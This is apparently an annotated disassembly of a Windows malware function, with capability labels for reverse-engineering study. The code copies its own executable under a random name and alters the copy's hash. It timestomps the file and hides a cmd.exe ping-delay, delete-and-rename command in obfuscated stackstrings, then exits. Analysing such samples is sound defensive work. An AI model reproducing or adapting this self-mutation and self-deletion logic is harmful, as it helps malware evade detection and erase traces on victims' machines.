Function at 0x403fc5
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Enumerate files on windows
Enumerate files recursively
Get file size
Print debug messages
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1328
call fcn.004059d0
push ebx
push esi
push edi
mov edi, 0x208
lea eax, [ebp - 0x718]
push edi
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
lea eax, [ebp - 0x718]
push eax
lea eax, [ebp - 0x510]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x510]
push 0x5c
push eax
call sub.MSVCRT.dll_wcsrchr
mov word [eax], si
call sub.MSVCRT.dll_rand
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x510]
push str._s_08X
push eax
call sub.MSVCRT.dll_swprintf
add esp, 0x24
lea eax, [ebp - 0x718]
push esi
push 0x80
push 3
push esi
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4040cd
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 0xc], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [ebp - 0xc]
mov dword [ebp - 8], eax
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0xb8]
push esi
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push esi
push 0x80
push 2
push esi
push 3
lea eax, [ebp - 0x510]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x4040d2
push dword [ebp - 8]
call fcn.00405932
pop ecx
pop edi
pop esi
pop ebx
leave
ret
lea ecx, [ebp - 0xa8]
push esi
push ecx
push dword [ebp - 0xc]
push dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0xb0]
add eax, 0xfffffffc
push esi
push ecx
push eax
push dword [ebp - 4]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0xa8]
push esi
push eax
lea eax, [ebp - 0xac]
push 4
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call fcn.00405932
push edi
lea eax, [ebp - 0xb28]
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0xb28]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0xb28]
push 0x5c
push eax
call sub.MSVCRT.dll_wcsrchr
mov word [eax], si
push edi
lea eax, [ebp - 0x920]
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0xb28]
push eax
lea eax, [ebp - 0x920]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x920]
push 0x407020
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x920]
push 0x407030
push eax
call sub.MSVCRT.dll_wcscat
add esp, 0x44
lea eax, [ebp - 0x308]
push eax
lea eax, [ebp - 0x920]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
mov eax, dword [ebp - 0x308]
and eax, 0x10
je 0x404218
cmp eax, esi
je 0x404204
lea eax, [ebp - 0x2dc]
push 0x40702c
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
je 0x404204
lea eax, [ebp - 0x2dc]
push 0x407024
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
jne 0x404218
lea eax, [ebp - 0x308]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x404236
jmp 0x4041c7
lea eax, [ebp - 0x2f4]
push eax
lea eax, [ebp - 0x2fc]
push eax
lea eax, [ebp - 0x304]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 4]
call ebx
push 0x20
mov word [ebp - 0x10], 0x72
pop edx
mov word [ebp - 0xe], si
push 0x25
mov word [ebp - 0x38], 0x70
pop ecx
mov word [ebp - 0x36], 0x69
push 0x73
mov word [ebp - 0x34], 0x6e
pop eax
mov word [ebp - 0x32], 0x67
push 0x65
mov word [ebp - 0x30], dx
pop ebx
mov word [ebp - 0x2e], 0x31
push 0x22
mov word [ebp - 0x2c], 0x32
pop edi
mov word [ebp - 0x2a], 0x37
mov word [ebp - 0x28], 0x2e
mov word [ebp - 0x26], 0x30
mov word [ebp - 0x24], 0x2e
mov word [ebp - 0x22], 0x30
mov word [ebp - 0x20], 0x2e
mov word [ebp - 0x1e], 0x31
mov word [ebp - 0x1c], dx
mov word [ebp - 0x1a], 0x2d
mov word [ebp - 0x18], 0x6e
mov word [ebp - 0x16], dx
mov word [ebp - 0x14], 0x32
mov word [ebp - 0x12], si
mov word [ebp - 0xa4], 0x2f
mov word [ebp - 0xa2], 0x63
mov word [ebp - 0xa0], dx
mov word [ebp - 0x9e], cx
mov word [ebp - 0x9c], ax
mov word [ebp - 0x9a], 0x26
mov word [ebp - 0x98], 0x64
mov word [ebp - 0x96], bx
mov word [ebp - 0x94], 0x6c
mov word [ebp - 0x92], dx
mov word [ebp - 0x90], di
mov word [ebp - 0x8e], cx
mov word [ebp - 0x8c], ax
mov word [ebp - 0x8a], di
mov word [ebp - 0x88], 0x26
mov word [ebp - 0x86], cx
mov word [ebp - 0x84], ax
mov word [ebp - 0x82], 0x26
mov word [ebp - 0x80], 0x72
mov word [ebp - 0x7e], bx
mov word [ebp - 0x7c], 0x6e
mov word [ebp - 0x7a], 0x61
mov word [ebp - 0x78], 0x6d
mov word [ebp - 0x76], bx
mov word [ebp - 0x74], dx
mov word [ebp - 0x72], di
mov word [ebp - 0x70], cx
mov word [ebp - 0x6e], ax
mov word [ebp - 0x6c], di
mov word [ebp - 0x6a], dx
mov word [ebp - 0x68], cx
mov word [ebp - 0x66], ax
mov word [ebp - 0x64], 0x26
mov word [ebp - 0x62], cx
mov word [ebp - 0x60], ax
mov word [ebp - 0x5e], 0x26
mov word [ebp - 0x5c], di
mov word [ebp - 0x5a], cx
mov word [ebp - 0x58], ax
mov word [ebp - 0x56], di
mov word [ebp - 0x54], dx
mov word [ebp - 0x52], 0x5c
mov word [ebp - 0x50], cx
mov word [ebp - 0x4e], ax
mov word [ebp - 0x4c], si
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea eax, [ebp - 0xa4]
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x718]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x718]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x718]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x1328]
push eax
call sub.MSVCRT.dll_swprintf
add esp, 0x28
lea eax, [ebp - 0x1328]
push eax
call edi
push esi
lea eax, [ebp - 0x1328]
push esi
push eax
lea eax, [ebp - 0x48]
mov word [ebp - 0x48], 0x63
push eax
push esi
push esi
mov word [ebp - 0x46], 0x6d
mov word [ebp - 0x44], 0x64
mov word [ebp - 0x42], 0x2e
mov word [ebp - 0x40], bx
mov word [ebp - 0x3e], 0x78
mov word [ebp - 0x3c], bx
mov word [ebp - 0x3a], si
call fcn.00402e69
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]